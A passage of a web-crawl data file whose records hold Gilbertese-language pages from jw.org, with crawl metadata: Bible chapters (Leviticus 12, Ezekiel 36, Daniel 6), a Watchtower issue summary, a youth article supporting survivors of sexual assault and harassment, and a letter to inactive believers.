mwaane ke te aine, e na uota te tiibutetei ae te mwaane ae tuai n ririki ibukin te karea ni kabuekaki,+ ao te bitin ae ataei ke te taobe ibukin te karea ni kabwarabure, nako rarikini mataroan te umwa ni botaki nakon te ibonga.* 7 E na anga te ibonga i matan Iehova ao e na karaoia ibukini karekeani kabwaraan ana bure neiei, ao e na itiaki mani waanakon raraana. Aio te tua ibukin te aine ae bungia natina te mwaane ke te aine. 8 Ma ngkana e aki tau ana bwai ibukini kabooan te tiibu, e riai ngkanne n anai taobe aika uoman ke bitin aika uoman aika ataei,+ temanna ibukin te karea ni kabuekaki ao are temanna ibukin te karea ni kabwarabure, ao e na karaoia te ibonga ibukini karekeani kabwaraan ana bure neiei, ao e na itiaki.'\"\nTaiani Kabwarabwara Mai Nano\n^ Nora Nanon Taeka.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/nakoaia-ibonga\/12\/","date":"2018-03-18T00:53:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645405.20\/warc\/CC-MAIN-20180317233618-20180318013618-00007.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":280,"character_repetition_ratio":0.084,"word_repetition_ratio":0.007,"special_characters_ratio":0.234,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"36 \"Ao ngkoe ae natin te aomata, taetae ni burabeti ni kaineti ma maungan Iteraera ao kangai, 'Ngkami aika maungan abaia Iteraera, ongora n ana taeka Iehova. 2 E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: \"A ekingkami nako taani kairiribai ni kangai: 'Auee! A a riki naba taabo aika rietata ake mangkoangkoa bwa ara tabo!'\"'+ 3 \"Mangaia ae taetae ni burabeti ao kangai, 'E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: \"Ibukina bwa a kamaroaeingkami ao n niningkami man taabo aika kakaokoro nako, bwa kam aonga n riki bwa aia bwai te koraki ake a reke maiuia* mai buakoia natannaomata, ao a teimatoa aomata n taekiningkami ao n uaraoingkami,+ 4 mangaia ae ngkami aika maungan Iteraera, ongora n ana taeka te Uea ae Moan te Rietata ae Iehova! E kangai ana taeka te Uea ae Moan te Rietata ae Iehova nakon taiani maunga ma tabuki, nakoni karaanga ao mwarua, nakon taabo aika urubekebeke aika kamaroaeaki,+ ao nakoni kaawa aika kitanaki ake a kuribwaiaki ma ni bwainingareaki irouia te koraki ake a reke maiuia mai buakoia natannaomata ake i rarikia,+ 5 e kangai ana taeka te Uea ae Moan te Rietata ae Iehova nakoni baikai: 'N na taetae n ekiianako te koraki ake a reke maiuia mai buakoia natannaomata ibukin uraraken uniu+ ao n ekiianako kaain Etom ni kabane ake te koraki ake a rangi ni kimwareirei, ao a boni bwainingare+ n taua abau bwa abaia, n taua tawaanana ao ni kuribwaia.'\"'+ 6 \"Mangaia ae taetae ni burabeti ni kaineti ma te aba ae Iteraera, ao kangai nakon taiani maunga ao nakon taian tabuki, nakon taiani karaanga ao nakon taiani mwarua, 'E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: \"Noria! N na taetae ni marakin nanou ao n uniu ae korakora, ibukini kamaamaeami irouia natannaomata.\"'+ 7 \"Mangaia ae e kangai ana taeka te Uea ae Moan te Rietata ae Iehova: 'Boni ngai ae I katea baiu n taetae n tuea bwa a na boni kaaitara ma kamaamaeaia natannaomata aika i rarikimi.+ 8 Ma ngkami aika maungan Iteraera, kam na kaotinakoi taiani mwaanga ma ni karikiuaa ibukia au aomata aika tibun Iteraera,+ bwa a nang bon oki. 9 Bwa I a memena iroumi, ao N na rairaki nakoimi, ao kam na manga ribanaaki ma n unikaki koraa i nanomi. 10 N na kamwaitiia ami aomata aika tibun Iteraera ni kabane, boni ngaiia ni kabane, ao a nangi maekanaki kaawa+ ao a nangi manga kateaki taabo aika urubekebeke.+ 11 Eng, N na kamwaitiia ami aomata ao ami nanai ni man,+ a na ririkirake ao a na bati aia kariki. Ao N na karaoingkami bwa kam na maekanaki n aromi rimoa,+ ao N na karaoingkami bwa kam na mari riki nakon are rimoa,+ ao kam na ataia bwa bon Iehova ngai.+ 12 N na karaoiia aomata, aika au aomata aika tibun Iteraera, bwa a na nakonako i aomi ao a na abaningkami.+ Kam na riki bwa tibwangaia, ao kam na aki manga karaoiia bwa a na akea natiia.'\"+ 13 \"E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: 'Ibukina bwa a kangai nakoimi, \"Bon te aba ngkami aika kabwautiia aomata ao aika a raweiia natiia ami natannaomata,\"' 14 'mangaia ae kam nang aki manga kabwautiia aomata ke ni karaoiia ami natannaomata bwa a na akea natiia,' bon ana taeka te Uea ae Moan te Rietata ae Iehova. 15 'N na aki manga karikingkami bwa aia bwai ni kabuakaka natannaomata ke ni karaoingkami bwa kam na kaaitara ma aia kakaniko aomata,+ ao kam na aki manga karekei bwakaia ami natannaomata,' bon ana taeka te Uea ae Moan te Rietata ae Iehova.\" 16 Ao e a manga roko naba ana taeka Iehova irou, ae kangai: 17 \"Natin te aomata, ngke a maeka tibun Iteraera i abaia, ao a kamwaraea n aroaroia ao ni baike a karaoi.+ Titeboo aroaroia ma kamwaraan te aoraki n aine irou.+ 18 Mangaia ae I kabwaroa uniu ae korakora i aoia ibukin te raraa are a katutua i aon te aba,+ ao ibukina bwa a kamwaraea te aba n aia bouannanti aika kamwara.*+ 19 Mangaia ae I kamaenakoia nako buakoia natannaomata ao I kamaeinikunia nakon aaba.+ I motiki taekaia ni kaineti ma aroaroia ao ni kaineti ma baike a karaoi. 20 Ma ngke a a roko irouia natannaomata akanne, ao a a kamatauningaa arau ae tabu aomata+ ngke a taekinia ni kangai, 'Bon ana aomata Iehova aikai, ma a a riai ni kitana abana.' 21 Mangaia ae N na kaota tabeaiangau n arau ae tabu, are a kamatauningaa tibun Iteraera i buakoia natannaomata ake a nako buakoia.\"+ 22 \"Mangaia ae kangai nakoia tibun Iteraera, 'E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: \"I aki mwakuri ibukimi ngkami aika tibun Iteraera, ma bon ibukin arau ae tabu, are kam kamatauningaa i buakoia natannaomata ake kam nako buakoia.\"'+ 23 'N na boni katabua arau ae kakannato+ are e kamatauningaaki i buakoia natannaomata, are kam kamatauningaa i buakoia, ao a na ataia natannaomata bwa bon Iehova ngai,'+ bon ana taeka te Uea ae Moan te Rietata ae Iehova, 'ngkana I a katabuaki i buakomi i mataia. 24 N na anaingkami mai buakoia natannaomata ao n ikotiingkami ni kaokingkami man aaba ni kabane ao ni kairingkami nako abami.+ 25 N na katimtimwa te ran ae itiaki i aomi, ao kam na itiaki.+ N na kaitiakingkami mani kamwaraami ni kabane+ ao mairouia ami bouannanti ni kabane aika kamwara.+ 26 N na anganingkami te nano ae boou+ ao ni karina te iango ae boou* i nanomi.+ N na kanakoa mai rabwatami te nano ae matoatoa n aron te atibu+ ao n anganingkami te nano ae maraurau.* 27 N na karina taamneiu iroumi, ao N na karaoingkami bwa kam na kakairi n au tua,+ ao kam na kawakin au moti ma ni kakororaoi. 28 Ao kam na maeka n te aba are I angania ami bakatibu, ao kam na riki bwa au aomata, ao N na riki bwa Atuami.'+ 29 \"'N na kamaiuingkami mani kamwaraami ni kabane, ao ni weteiia uita ao ni kabatiai, ao N na aki karokoa te rongo i aomi.+ 30 N na kabatiai uaan te aroka ao uaan te tawaana, bwa kam aonga n aki manga rotakibuaka n te bwaibwainrang ibukin te rongo i buakoia natannaomata.+ 31 Ao kam na uringi aroaromi aika bubuaka ao ami mwakuri aika aki raraoi, ao ane kam na ribaingkami ibukin ami bure ao ami mwakuri aika riribaaki.+ 32 Ma kam na ataa aei: I aki karaoa aei ibukimi,'+ bon ana taeka te Uea ae Moan te Rietata ae Iehova. 'N oneani mwin anne, kam na maamaa ao ni bwaibwainrang ibukin aroaromi ngkami aika tibun Iteraera.' 33 \"E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: 'N te bong are I kaitiakingkami iai man ami bure ni kabane, ao N na karaoi kaawa bwa a na maekanaki+ ao taabo aika urubekebeke bwa a na manga kateaki.+ 34 E nang ribanaaki te aba ae kamaroaeaki, ae e a tia n tiku ni kamaroaeaki ibukia te koraki ake a rirarikina bwa a na noria. 35 Ao a na kangai aomata: \"E a riki te kaawa are kamaroaeaki bwa kaanga te onnaroka are Eten,+ ao kaawa ake a urubekebeke ma ni kamaroaeaki ao n uruaki ngkoa, a a nonoaki ma ni kaainaki ngkai.\"+ 36 Ao natannaomata ake a tiku bwa nikira i rarikimi, a na ataia bwa I a tia ngai ae Iehova ni katea ae e uruaki, ao I a tia n ununiki n te aba ae kamaroaeaki. I a tia n taetae ngai ae Iehova ao I boni karaoia.'+ 37 \"E kangai ana taeka te Uea ae Moan te Rietata ae Iehova, 'N na kariaia naba bwa a na butiiai tibun Iteraera bwa N na karaoa te baei ibukia: N na kamwaitiia aia aomata n aron te nanai. 38 N aroia aomata aika mwaitikurikuri aika itiaki,* ao n aroia tiibu ake i Ierutarem* n tain ana toa nako,+ a nang onrake irouia aomata kaawa ake a urubekebeke,+ ao ane a na ataia bwa bon Iehova ngai.'\"\nTaiani Kabwarabwara Mai Nano\n^ Ebera, \"te nikira, nikiraia.\"\n^ Te taeka n Ebera aei tao e irekereke ma te taeka ibukin \"te nakotaari,\" ao e kabonganaaki bwa te taeka ni kabuakaka.\n^ Ke, \"te mwaaka.\" Ebera, ruʹach.\n^ Ae taekan ae e kai butimwaea ana kairiri te Atua.\n^ Ke, \"tabu.\"\n^ Ke tao, \"N aron taian nanai n tiibu ake karea i Ierutarem.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/etekiera\/36\/","date":"2018-03-24T04:50:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649683.30\/warc\/CC-MAIN-20180324034649-20180324054649-00424.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1369,"character_repetition_ratio":0.124,"word_repetition_ratio":0.042,"special_characters_ratio":0.233,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) January 2016\nIai n te maekatin aei kaongora ibukin te reirei ibukin Beberuare 29 nakon Eberi 3, 2016.\nA kangaa ni kaaitarai kangaanga Ana Tia Kakoaua Iehova ake a beku n taabo ake e kainnanoaki riki iai te ibuobuoki n aaba ake n te Oceania?\nE kona ni buokira te kibu ibukin te ririki 2016 n tauraoi imwaini baika a nang riki aika imwaira.\nE kangaa ana tangira te Atua ni kairira bwa ti na tou raoi mwini mwanekan Iesu ni kaota tangiraia tarira, ao ni kabwarai buure?\nTera aron te aomata ngkana e riki bwa temanna i buakoia aika kabiraki? E kangaa ni kabiraki temanna n te taamnei ae raoiroi?\nTera ae ti riai n uringnga ibukia te koraki are 144,000?\nE kangaa te mwakuri ma Iehova ni karika kimwareireira ao ni kamanoa ara onimaki?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-tianuare-2016\/","date":"2018-03-24T05:22:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649683.30\/warc\/CC-MAIN-20180324034649-20180324054649-00434.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":136,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E ngae ngke e kaatuuaki riki taekaia aine n te kaongora aei, ma booto n reirei ao ibuobuoki iai a kaineti naba nakoia ataeinimwaane.\nTERA AE KO NA KARAOIA?\nAkea te bwai ae e ataia Annette ao e a bouaaki naba i aontano iroun teuare e na taua. E taku neiei, \"I kabanea au konaa ni kaitaraa. I kataia n tatakarua ma e aki otinako bwanaau. I ineakinna, I toubekaia, I oreia, ao I kuritia. Ikanne are I a namakina naba ewarakiu n te biti ao ai akea korakorau.\"\nNgkana ko rinanon te aekaki anne, tera arom iai?\nTEEI MOA AO IANGO!\nE ngae ngke ko tauraoi bwa tao ko taratara raoi ngkana ko ririaki i tinaniku n te bong, ma a kona n riki baika bubuaka. E kangai te Baibara, \"A aki tokanikai n taai nako akana birimwaaka n te kabobirimwaaka . . . ao a aki naba nanakoraoi n taai nako aroia akana iai aia atatai, ibukina bwa a taonakinako ni kabane n te tai are a riki iai baika aki kantaningaaki.\"\nN aron Annette, a tauaki naba tabeman rooro n rikirake iroun te aomata ae a aki kinaa. Ake tabeman, iroun te aomata ae a kinaa ke boni kaain aia utu. Ngke ai tibwa tebwina ana ririki Natalie, ao e karaoaki te mwakuri n tautau nakoina iroun te teinimwaane ae tebwi tabun ana ririki ae kaain rarikia. E taku neiei, \"I rangi ni maaku ao ni maamaa n te moantai, ao I aki kaokaotia.\"\nKO AKI RIAI NI BUKINAKI\nE teimatoa Annette ni kaaitara ma namakinan ae te baere riki nakoina bon ana bure. E taku: \"I teimatoa n iaiangoa te tairiki arei, ao I namakina ae I riai ni kakorakoraai riki ni kaitaraa teuarei. Ni koauana, imwin ewarakiu, ao I a taonakinako n te maaku. Ai akea riki te bae I kona ni karaoia, ma irou I bon riai ni karaoa te bwai teuana.\"\nE kabokorakora naba Natalie ma namakinan ae te baere riki bon ana bure. E taku: \"I bon aki riai n rangi n onimakina temanna. Iai aia tua au karo bwa ti riai n takaakaro tii ngai ma tariu i tinaniku, ma I aki ongo. Ngaia are irou boni ngai ae I karekea ana tai kaain rarikira bwa e na kumeai. E rotakibuaka au utu n te baere riki ao I namakinna bwa boni ngai ae I karekea rawawataia ae korakora. Boni ngai ae I kabokorakora riki ma anne.\"\nNgkana titeboo am namakin ma Annette ke Natalie, kaatuua n am iango ae te aomata are tauaki e aki kukurei n te baere e karaoaki. A kauarerekea kakaiakin te bure anne tabeman, n taekinna bwa bon anne aroia ataeinimwaane, ke aine ake a tauaki a boni wewetea karaoan anne. Ma bon akea ae e riai n reke anne nakoina. Ngkana ngkoe naba temanna ae karaoaki nakoim te mwakuri ae rangi ni buakaka aei, ko aki riai ni bukinaki iai!\nE koaua ae e bebete warekan ae \"ko aki riai ni bukinaki,\" ma e kona ni kangaanga kakoauaana. Tabeman a karabai aia namakin ibukin te baere riki ao a rotakibuaka n iangoan ae bon aia bure, n ikotaki ma namakin riki tabeua aika aki raraoi. Ma antai ae e na kabwaia riki ngkana ko kainabwabu, ngkoe ke te tia tautau? Ko bon riai n iangoa karaoan te bwai teuana i bon ibukim.\nTAEKINNA\nE karakinaki n te Baibara bwa ngke e korakora rawawatan te mwaane ae raoiroi ae Iobi, e a taekina aei: \"N na taetae i buakoni korakoran rawawatau!\" (Iobi 10:1) Ko kona ni kakabwaiaaki naba ngkana ko karaoa anne. Ngkana ko maroro ma te aomata ae ko onimakinna, ko kona ni buokaki iai n tokanikai i aon te baere riki ao ni kabebeteaki man namakin aika karawawata.\nE kakoauaa anne Annette. E taku: \"I maroro ma raoraou ni kaan, ao e kaungaai bwa N na maroroakinna ma unimwaane n au ekaretia. I kukurei ngke I karaoa anne. A tekateka i rarikiu n taai tabetai ao a taekina raoi te bwai ae I kan ongo, ae te baere riki bon tiaki au bure. Bon tiaki naba au bure teutana.\"\nE maroroakina te baere riki Natalie ma ana karo. E taku neiei, \"A boutokaai ao a kaungaai bwa N na maroroakinna, ao anne are e a buokai bwa N na aki rangi n rawawata ao n un i nanou.\"\nE reke naba kabebetean Natalie n te tataro. E taku, \"I buokaki ngkana I taetae nakon te Atua, moarara riki n taai ake I namakinna iai bwa I a aki kona ni manga onimakina te aomata temanna. I bunra nanou ngkana I tataro ao I namakina te rau iai ao te bebete.\"\nKo kona naba ngkoe ni kunea ae iai \"te tai ni kamarurung.\" (Te MInita 3:3) Tabeakina raoi rabwatam ao rarawa n iangoi baika bubuaka ma iangoi baika kakukurei. Karekea te motirawa ae tau. Ao ae kakawaki riki, onimakina te Atua ae Iehova ae anganga te kabebetenano n aekana nako.\nNGKANA KO A IKAWAI AO KO A TAU N IRAORAO\nNgkana te teinnaine ngkoe ae ko kaririaki bwa ko na karaoi mwakuri aika kammaira, akea buren ae ko na kamatoako n taekina aei, \"Tai karaoa anne!\" ke, \"Kanakoa baim mai aou!\" Tai kainabwabu ibukin raraomam bwa tao e nang kitaniko raom. Ngkana e katokiko ibukin anne, e bon aki tau n reitinako te iraorao ma ngaia! E bon tau n reke iroum te mwaane ae raoiroi, ae e karinea rabwatam ao booto n reirei ake ko maiuakin.\nTITIRAKI I AON TE MWAKURI N TANGAKO\n\"N te kauarinan, a kakatika bukin au buraa ataeinimwaane ao n taekin taeka aika rangi ni kamatauninga n aron ae, N na kukurei riki ngkana I kariaia te wene n taanga ma ngaiia.\"\n—Coretta.\nN am iango ataeinimwaane aikai\nA kangongoo?\nA kababa?\nA karaoa te mwakuri n tangako?\n\"E taekin taeka aika aki raoiroi nakoiu te teinimwaane temanna i aon te bwati ao e katikai. I orea baina ni kanakoa ao I tuangnga bwa e na kenako. N taraakiu irouna kaanga iai aorakin au iango.\"\n—Candice.\nN am iango tera ae e karaoia te teinimwaane aei nakon Candice?\nE kangongoo?\nE kababa?\nE karaoa te mwakuri n tangako?\n\"N te ririki ae nako, e tutuangai te teinimwaane temanna bwa e nano irou ao e kan iraorao ma ngai, e ngae ngke I aki toki ni karautaeka nakoina. N tabetai e kabubuta baina i aoni baiu, ao I tuangnga bwa e na katokia, ma e bon aki. N te taina ngke I kabaea au kau, ao e a ringa naba bukiu.\"\n—Bethany.\nN am iango te teinimwaane aei:\nE kangongoo?\nE kababa?\nE karaoa te mwakuri n tangako?\nTe kaeka ae eti nakon titiraki akana tenua bon C.\nTera kaokoron te mwakuri n tangako ma te kababa ke te kangongoo?\nTe mwakuri n tangako e karaoaki iroun temanna, ae n angiin te tai e aki kukurei iai are e karaoaki nakoina. E reitinako naba e ngae ngke e tuatua te aomata are kumeaki bwa e na katokaki.\nBon te kangaanga te mwakuri n tangako, e kona ni karekea te mwakuri n tautau.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/aia-titiraki-rooro-n-rikirake\/tera-ae-i-riai-n-ataia-ibukin-te-mwakuri-n-tangako\/","date":"2018-03-24T08:20:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649961.11\/warc\/CC-MAIN-20180324073738-20180324093738-00249.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1176,"character_repetition_ratio":0.058,"word_repetition_ratio":0.002,"special_characters_ratio":0.223,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakon raora n te onimaki:\nN aron ae ko ataia, a bati rongorongoia aomata n te boki ae te Baibara. A bati mwaane ao aine aika kakaonimaki ake a rinanoni kangaanga aika ti kaitaraaki naba iai. Bon iai aia namakin \"n ai arora.\" (Iakobo 5:17) Iai tabeman ake a taonaki ni kataaki ao n tabeaianga. A rotaki tabeman n te maraki irouia kaain aia utu ke raoia n te onimaki. Ao a bati naba ake a rotaki n te uringaaba n aia bure.\nMa a boni kitana Iehova aekan aomata akanne? A aki. A bati aika titeboo aroia ma te tia areru are e tataro ni kangai: \"I tiotionako n aron te tiibu ae bua. Ukoukora am toro, bwa I aki mwanuokin am kaetieti.\" (Taian Areru 119:176) Ko a tia n rinanon aeka n namakin akanne?\nE aki mwaninga Iehova taekaia ana aomata, ake a tia n tiotionako man te nanai. Ibukin anne, e teimatoa n ukoukoriia ao e katoatai ni karaoa aei rinanoia raoia n te onimaki. Iangoa ana katoto Iehova ngke e buoka ana toro ae Iobi, are e a tia n rinanoni karawawata aika bati ni buani kaubwaina, mateia kaain ana utu ao reken te aoraki ae kakaiaki irouna. E nanomwaaka naba ni kaaitarai taeka aika kammaraki mairouia naake bon taani boutokaia. E ngae ngke e kairua ana iango n te tai arei, ma e aki roko n te kitana Iehova. (Iobi 1:22; 2:10) E kangaa Iehova ni buoka Iobi bwa e na manga eti ana iango?\nAna anga teuana Iehova ni buoka Iobi, bon rinanon Eriu are raona n te onimaki. Ngke e kaotii tabeaiangana Iobi, e kakauongo Eriu ao n tauraoi ni buokia. Tera ae e na taekinna Eriu? E na kakanikoa Iobi ke e na kataia ni kairoroa bwa ngaia ae riai ni bukinaki ke ni kamaamaeaki? E iangoia bwa e rietata riki nakon Iobi? E bon aki! Ngke e kairaki Eriu n taamnein te Atua ao e taku: \"Bon tii te arona ngai ma ngkoe i matan te Atua ae koaua, I kateiraoaki naba man te bokaboka.\" Imwina, e karaua nanon Iobi ni kangai: \"Akea maakakiu ae ko riai ni maakunrang iai, ao akea te karawawata mairou ae riai n taonikonako.\" (Iobi 33:6, 7) N oneani mwin are e na karawawata riki Iobi, e tatangira Eriu n anga te reirei ni kairiri ao te kaungaunga are e kainnanoia Iobi.\nTaiaoka n ataia ae titeboo aron anne ma ae ti karaoia ni katauraoan te boroutia aei. Te moan, ti kakauongo ao ni karau raoi n iangoi baika riki ao aia taeka taari aika bati ake a a tia n tiotionako. (Taeka N Rabakau 18:13) Imwina, ti nenera te Baibara, ti tataro ni kananoi raoi ara iango n rongorongon Iehova ni buokiia ana toro rimoa, ake a aitara naba ma aekani kangaanga akanne. Kabaneana, ti botii rongorongo akanne man te Baibara ma baika riki ni boong aikai ni katauraoa iai te boroutia aei. Ti kaungako bwa ko na nenera te boroutia aei. Taiaoka ni butimwaea ara inga ao ara tangira.\nTe Rabwata n Tautaeka ibukia Ana Tia Kakoaua Iehova","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/okira-iehova\/e-aki-kona-ni-mwaninga-ana-aomata-iehova\/","date":"2018-03-20T21:42:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647545.54\/warc\/CC-MAIN-20180320205242-20180320225242-00673.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":507,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.418,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 E taraa n raoiroi iroun Taraiati bwa e na rineiia taian teterabi* aika 120 i aon aono ake e tautaekan ni kabutaa.+ 2 Iai mataniwi aika rietata aika teniman i aoia naakai, ae temanna bon Taniera.+ Ao a teimatoa taian teterabi+ aikai n angania naakai rongorongoni bwaai nako bwa e aonga n aki rotakibuaka te uea ni buan ana bwai. 3 Imwina riki ao e a oti iroun Taniera bwa e konabwai riki nakoia mataniwi aika rietata ake tabeman riki ma taian teterabi, bwa iai irouna te iango ae rianako arona,+ ao e iangoia te uea bwa e na karietataa teuaei i aon aono ake e tautaekan ni kabutaa. 4 N te tai anne ao mataniwi aika rietata ma taian teterabi a ukoukori taiani bukibuki tabeua ni kaitaraa Taniera ni kaineti ma arona ni karaoi tabena n te tautaeka, ma a aki roko n te kunea bukinana ke te bwai riki teuana ae buakaka, bwa e rangi n onimakinaki ao e aki kuneaki kabwakana ke te buakaka i nanona. 5 Ao a taku mwaane aikai: \"Ti na bon aki kona naba teutana ni kunea bukinan Taniera, ma tii ngkana ti ukoukora kaitaraana ni kaineti ma ana tua Atuana.\"+ 6 Ai ngaia are a a ikotaki n rin i matan te uea mataniwi aika rietata aikai ma taian teterabi, ao a taku nakoina: \"Te Uea ae Taraiati, ko bia maiu n aki toki. 7 A bane ana tia mwakuri te uea, taani babaire n te tautaeka, taian teterabi, ana mataniwi te uea aika rietata, ao taiani kowana ni kaai ni maroro bwa a na katea ana tua teuana te uea ao ni kakorakoraa te moti ae aki riai n ekakinako, bwa i nanon 30 te bong, ao ane e bubutii te bwai teuana nakon te atua temanna ke te aomata ao tiaki nakoim, ngkoe ae te uea, ao e riai ni karenakoaki nako nanon te mwarua ae nneia raian.+ 8 Ao ngkai te uea, ko bia katea te tua ao ni kanikinaea,+ bwa e aonga n aki kona ni manga bitaki, ni kaineti ma aia tua I-Miria ao I-Botia, ae e aki kona ni kamaunaaki.\"+ 9 Mangaia are e kanikinaea te tua te Uea ae Taraiati ma te moti are aki riai n ekakinako. 10 Ma ngke e ataia naba ngkekei Taniera bwa e a tia ni kanikinaeaki te tua, ao e nakon ana auti, ae iai kamaaman ruuna are i aon te taubuki aika uki ni kaitaraa Ierutarem.+ Ao e katorobubua ao n tataro ao e karaoiroa Atuana tenua te tai n tebongina, n aron are e kakaraoia mai mwaina. 11 N te tai anne ao a ienikuri n rin mwaane akanne ao a a nora Taniera ni bubutii ao n onnon akoana i matan Atuana. 12 Mangaia are a kawara te uea ao a kauringnga taekan ana moti are aki riai n ekakinako ni kangai: \"Tiaki ko kanikinaea ngkoa te moti are aki riai n ekakinako are e taekinaki iai bwa ane e bubutii te bwai teuana nakon te atua temanna ke te aomata temanna i nanon 30 te bong ao tiaki nakoim, ngkoe ae te uea, ao e riai ni karenakoaki nako nanon te mwarua ae nneia raian?\" E kaeka te uea ni kangai: \"E a tia ni kamatoaaki te baenne ni kaineti ma aia tua I-Miria ao I-Botia, ae e aki kona ni kamaunaaki.\"+ 13 A aki tabwara ma a a taku naba nakon te uea: \"Te uea, e aki mutiakiniko Taniera are mai buakoia kaain Iuta+ ake taenikai, ke ni mutiakina te moti are aki riai n ekakinako are ko a tia ni kanikinaea, ma e tatataro tenua te tai n tebongina.\"+ 14 Ngke e ongo naba ngkekei te baei te uea, ao e a rangi n rawawata, ao e kataia n iangoa te anga teuana ae e na kamaiua iai Taniera, ao e kakorakoraa bwa e na kamaiua ni karokoa ae e a bung taai. 15 N tokina ao a a ikotaki n rin nakon te uea mwaane aikai ao a taku nakon te uea: \"Te uea, ko bon ataa aia tua I-Miria ma I-Botia, are e bon aki kona ni bitaki te moti are aki riai n ekakinako ke te tua are e kateia te uea.\"+ 16 Ai ngaia are e a tua te uea, ao a a kaira Taniera ao a a karenakoa nako nanon te mwarua are nneia raian.+ E taku te uea nakon Taniera: \"E na kamaiuko Atuam ae ko teimatoa n toro irouna.\" 17 Ao e uotaki te atibu teuana ao e kaakaki i matan* te mwarua arei, ao e kanikinaea te uea n ana mwamwa ae kanikinaean nakoana ma aia mwamwa ana bwaanuea ake kanikinaean nakoaia, n te aro are akea te bwai ae e na bitaki ni kaineti ma Taniera. 18 Ao e nako te uea nakon ana baareti. E aki mamatam n te tairiki anne, ao e rawa nakon taiani kamataku,* ao e aki reke matuna.* 19 N tokina ao e a teirake te uea ngke e a tibwa moanna n aioota, ao e a kawaekoaa nakon te mwarua are nneia raian. 20 Ngke e a roko i rarikin te mwarua, ao e a wetea Taniera ma te bwanaa n nanokawaki. E titiraki te uea nakon Taniera ni kangai: \"Taniera ae ana toro te Atua ae maiu, e kona Atuam are ko teimatoa n toro irouna ni kamaiuko mairouia raian?\" 21 E aki tabwara Taniera ma e a taku naba nakon te uea: \"Te uea, ko bia maiu n aki toki. 22 E kanakoa ana anera Atuau ao e kaini wia raian,+ ao a aki roko n te kaikoakai,+ bwa akea au bure i matana, ao akea naba te kairua teuana ae I karaoia nakoim, ngkoe ae te uea.\" 23 Ao e rangi ni kimwareirei te uea, ao e tua bwa e na kaerakeaki Taniera man te mwarua. Ngke e a kaerakeaki Taniera man te mwarua, ao bon akea naba ikoakina teutana, ibukina bwa e onimakina Atuana.+ 24 Ao e tua te uea, ao a a kairaki mwaane ake a a tia ni bukina* Taniera, ao a a karenakoaki nako nanon te mwarua are nneia raian n ikotaki ma natiia ao buuia. A tuai n roko i kabin te mwarua, ao a a kibaraki naba irouia raian ma ni kakeruaki riia ni kabane.+ 25 E koroboki ngkanne te Uea ae Taraiati nakoia ni kabane botannaomata, natannaomata, ao taian taetae, aika maeka n te aonnaba ni kabutaa+ ni kangai: \"E bia bati ami rau! 26 I tua ngkai bwa aomata ake n aono nako ake a mena i aan au tautaeka n uea, a na ruru ni maaku i matan Atuan Taniera.+ Bwa boni ngaia te Atua ae maiu ao e teimatoa n aki toki. E na bon aki kona n uruaki ana tautaeka n uea, ao e teimatoa n aki toki ana kairiri.*+ 27 E kakamaiu,+ e kakamanomano, ao e kakaraoi kanikina ma baika kamimi i karawa ao n te aonnaba,+ bwa e kamaiua Taniera mai nanoni baia raian.\" 28 Mangaia are e toronibwai Taniera i aan ana tautaeka n uea Taraiati+ ao i aan ana tautaeka n uea Tairati are te I-Botia.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou 